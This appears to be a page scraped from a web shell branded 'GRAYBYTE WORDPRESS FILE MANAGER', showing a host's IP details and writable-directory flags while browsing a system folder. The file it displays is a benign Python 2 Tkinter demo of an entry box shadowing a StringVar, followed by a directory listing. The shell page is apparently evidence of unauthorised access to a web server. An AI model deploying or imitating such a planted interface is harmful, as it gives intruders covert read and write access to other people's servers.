$65 GRAYBYTE WORDPRESS FILE MANAGER $55

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/usr/lib64/python2.7/Demo/tkinter/matt/

HOME
Current File : /usr/lib64/python2.7/Demo/tkinter/matt//entry-with-shared-variable.py
from Tkinter import *
import string

# This program  shows how to make a typein box shadow a program variable.

class App(Frame):
    def __init__(self, master=None):
        Frame.__init__(self, master)
        self.pack()

        self.entrythingy = Entry(self)
        self.entrythingy.pack()

        self.button = Button(self, text="Uppercase The Entry",
                             command=self.upper)
        self.button.pack()

        # here we have the text in the entry widget tied to a variable.
        # changes in the variable are echoed in the widget and vice versa.
        # Very handy.
        # there are other Variable types. See Tkinter.py for all
        # the other variable types that can be shadowed
        self.contents = StringVar()
        self.contents.set("this is a variable")
        self.entrythingy.config(textvariable=self.contents)

        # and here we get a callback when the user hits return. we could
        # make the key that triggers the callback anything we wanted to.
        # other typical options might be <Key-Tab> or <Key> (for anything)
        self.entrythingy.bind('<Key-Return>', self.print_contents)

    def upper(self):
        # notice here, we don't actually refer to the entry box.
        # we just operate on the string variable and we
        # because it's being looked at by the entry widget, changing
        # the variable changes the entry widget display automatically.
        # the strange get/set operators are clunky, true...
        str = string.upper(self.contents.get())
        self.contents.set(str)

    def print_contents(self, event):
        print "hi. contents of entry is now ---->", self.contents.get()

root = App()
root.master.title("Foo")
root.mainloop()

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
14 Aug 2025 9.26 PM
root / root
0755
00-HELLO-WORLD.py
0.707 KB
20 Apr 2020 4.13 AM
root / root
0644
00-HELLO-WORLD.pyc
1.269 KB
10 Apr 2024 11.58 AM
root / root
0644
00-HELLO-WORLD.pyo
1.269 KB
10 Apr 2024 11.58 AM
root / root
0644
README
0.501 KB
20 Apr 2020 4.13 AM
root / root
0644
animation-simple.py
0.917 KB
20 Apr 2020 4.13 AM
root / root
0644
animation-simple.pyc
1.68 KB
10 Apr 2024 11.58 AM
root / root
0644
animation-simple.pyo
1.68 KB
10 Apr 2024 11.58 AM
root / root
0644
animation-w-velocity-ctrl.py
1.173 KB
20 Apr 2020 4.13 AM
root / root
0644
animation-w-velocity-ctrl.pyc
1.979 KB
10 Apr 2024 11.58 AM
root / root
0644
animation-w-velocity-ctrl.pyo
1.979 KB
10 Apr 2024 11.58 AM
root / root
0644
bind-w-mult-calls-p-type.py
1.514 KB
20 Apr 2020 4.13 AM
root / root
0644
bind-w-mult-calls-p-type.pyc
1.368 KB
10 Apr 2024 11.58 AM
root / root
0644
bind-w-mult-calls-p-type.pyo
1.368 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-demo-simple.py
0.73 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-demo-simple.pyc
1.388 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-demo-simple.pyo
1.388 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-gridding.py
2.218 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-gridding.pyc
2.269 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-gridding.pyo
2.269 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-moving-or-creating.py
2.365 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-moving-or-creating.pyc
2.522 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-moving-or-creating.pyo
2.522 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-moving-w-mouse.py
2.076 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-moving-w-mouse.pyc
2.415 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-moving-w-mouse.pyo
2.415 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-mult-item-sel.py
2.774 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-mult-item-sel.pyc
2.74 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-mult-item-sel.pyo
2.74 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-reading-tag-info.py
1.639 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-reading-tag-info.pyc
1.816 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-reading-tag-info.pyo
1.816 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-w-widget-draw-el.py
1.15 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-w-widget-draw-el.pyc
1.47 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-w-widget-draw-el.pyo
1.47 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-with-scrollbars.py
2.061 KB
20 Apr 2020 4.13 AM
root / root
0644
canvas-with-scrollbars.pyc
2.308 KB
10 Apr 2024 11.58 AM
root / root
0644
canvas-with-scrollbars.pyo
2.308 KB
10 Apr 2024 11.58 AM
root / root
0644
dialog-box.py
2.383 KB
20 Apr 2020 4.13 AM
root / root
0644
dialog-box.pyc
1.932 KB
10 Apr 2024 11.58 AM
root / root
0644
dialog-box.pyo
1.932 KB
10 Apr 2024 11.58 AM
root / root
0644
entry-simple.py
0.712 KB
20 Apr 2020 4.13 AM
root / root
0644
entry-simple.pyc
1.051 KB
10 Apr 2024 11.58 AM
root / root
0644
entry-simple.pyo
1.051 KB
10 Apr 2024 11.58 AM
root / root
0644
entry-with-shared-variable.py
1.706 KB
20 Apr 2020 4.13 AM
root / root
0644
entry-with-shared-variable.pyc
1.602 KB
10 Apr 2024 11.58 AM
root / root
0644
entry-with-shared-variable.pyo
1.602 KB
10 Apr 2024 11.58 AM
root / root
0644
killing-window-w-wm.py
1.265 KB
20 Apr 2020 4.13 AM
root / root
0644
killing-window-w-wm.pyc
1.458 KB
10 Apr 2024 11.58 AM
root / root
0644
killing-window-w-wm.pyo
1.458 KB
10 Apr 2024 11.58 AM
root / root
0644
menu-all-types-of-entries.py
8.896 KB
20 Apr 2020 4.13 AM
root / root
0644
menu-all-types-of-entries.pyc
4.854 KB
10 Apr 2024 11.58 AM
root / root
0644
menu-all-types-of-entries.pyo
4.854 KB
10 Apr 2024 11.58 AM
root / root
0644
menu-simple.py
3.175 KB
20 Apr 2020 4.13 AM
root / root
0644
menu-simple.pyc
1.915 KB
10 Apr 2024 11.58 AM
root / root
0644
menu-simple.pyo
1.915 KB
10 Apr 2024 11.58 AM
root / root
0644
not-what-you-might-think-1.py
0.659 KB
20 Apr 2020 4.13 AM
root / root
0644
not-what-you-might-think-1.pyc
1.27 KB
10 Apr 2024 11.58 AM
root / root
0644
not-what-you-might-think-1.pyo
1.27 KB
10 Apr 2024 11.58 AM
root / root
0644
not-what-you-might-think-2.py
0.729 KB
20 Apr 2020 4.13 AM
root / root
0644
not-what-you-might-think-2.pyc
1.304 KB
10 Apr 2024 11.58 AM
root / root
0644
not-what-you-might-think-2.pyo
1.304 KB
10 Apr 2024 11.58 AM
root / root
0644
packer-and-placer-together.py
1.181 KB
20 Apr 2020 4.13 AM
root / root
0644
packer-and-placer-together.pyc
1.355 KB
10 Apr 2024 11.58 AM
root / root
0644
packer-and-placer-together.pyo
1.355 KB
10 Apr 2024 11.58 AM
root / root
0644
packer-simple.py
0.8 KB
20 Apr 2020 4.13 AM
root / root
0644
packer-simple.pyc
1.391 KB
10 Apr 2024 11.58 AM
root / root
0644
packer-simple.pyo
1.391 KB
10 Apr 2024 11.58 AM
root / root
0644
placer-simple.py
1.053 KB
20 Apr 2020 4.13 AM
root / root
0644
placer-simple.pyc
1.263 KB
10 Apr 2024 11.58 AM
root / root
0644
placer-simple.pyo
1.263 KB
10 Apr 2024 11.58 AM
root / root
0644
pong-demo-1.py
1.513 KB
20 Apr 2020 4.13 AM
root / root
0644
pong-demo-1.pyc
2.078 KB
10 Apr 2024 11.58 AM
root / root
0644
pong-demo-1.pyo
2.078 KB
10 Apr 2024 11.58 AM
root / root
0644
printing-coords-of-items.py
2.344 KB
20 Apr 2020 4.13 AM
root / root
0644
printing-coords-of-items.pyc
2.521 KB
10 Apr 2024 11.58 AM
root / root
0644
printing-coords-of-items.pyo
2.521 KB
10 Apr 2024 11.58 AM
root / root
0644
radiobutton-simple.py
1.964 KB
20 Apr 2020 4.13 AM
root / root
0644
radiobutton-simple.pyc
1.82 KB
10 Apr 2024 11.58 AM
root / root
0644
radiobutton-simple.pyo
1.82 KB
10 Apr 2024 11.58 AM
root / root
0644
rubber-band-box-demo-1.py
2.084 KB
20 Apr 2020 4.13 AM
root / root
0644
rubber-band-box-demo-1.pyc
2.509 KB
10 Apr 2024 11.58 AM
root / root
0644
rubber-band-box-demo-1.pyo
2.509 KB
10 Apr 2024 11.58 AM
root / root
0644
rubber-line-demo-1.py
1.874 KB
20 Apr 2020 4.13 AM
root / root
0644
rubber-line-demo-1.pyc
2.22 KB
10 Apr 2024 11.58 AM
root / root
0644
rubber-line-demo-1.pyo
2.22 KB
10 Apr 2024 11.58 AM
root / root
0644
slider-demo-1.py
0.977 KB
20 Apr 2020 4.13 AM
root / root
0644
slider-demo-1.pyc
1.672 KB
10 Apr 2024 11.58 AM
root / root
0644
slider-demo-1.pyo
1.672 KB
10 Apr 2024 11.58 AM
root / root
0644
subclass-existing-widgets.py
0.661 KB
20 Apr 2020 4.13 AM
root / root
0644
subclass-existing-widgets.pyc
1.205 KB
10 Apr 2024 11.58 AM
root / root
0644
subclass-existing-widgets.pyo
1.205 KB
10 Apr 2024 11.58 AM
root / root
0644
two-radio-groups.py
3.67 KB
20 Apr 2020 4.13 AM
root / root
0644
two-radio-groups.pyc
2.141 KB
10 Apr 2024 11.58 AM
root / root
0644
two-radio-groups.pyo
2.141 KB
10 Apr 2024 11.58 AM
root / root
0644
window-creation-more.py
0.996 KB
20 Apr 2020 4.13 AM
root / root
0644
window-creation-more.pyc
1.679 KB
10 Apr 2024 11.58 AM
root / root
0644
window-creation-more.pyo
1.679 KB
10 Apr 2024 11.58 AM
root / root
0644
window-creation-simple.py
0.796 KB
20 Apr 2020 4.13 AM
root / root
0644
window-creation-simple.pyc
1.604 KB
10 Apr 2024 11.58 AM
root / root
0644
window-creation-simple.pyo
1.604 KB
10 Apr 2024 11.58 AM
root / root
0644
window-creation-w-location.py
1.294 KB
20 Apr 2020 4.13 AM
root / root
0644
window-creation-w-location.pyc
2.051 KB
10 Apr 2024 11.58 AM
root / root
0644
window-creation-w-location.pyo
2.051 KB
10 Apr 2024 11.58 AM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF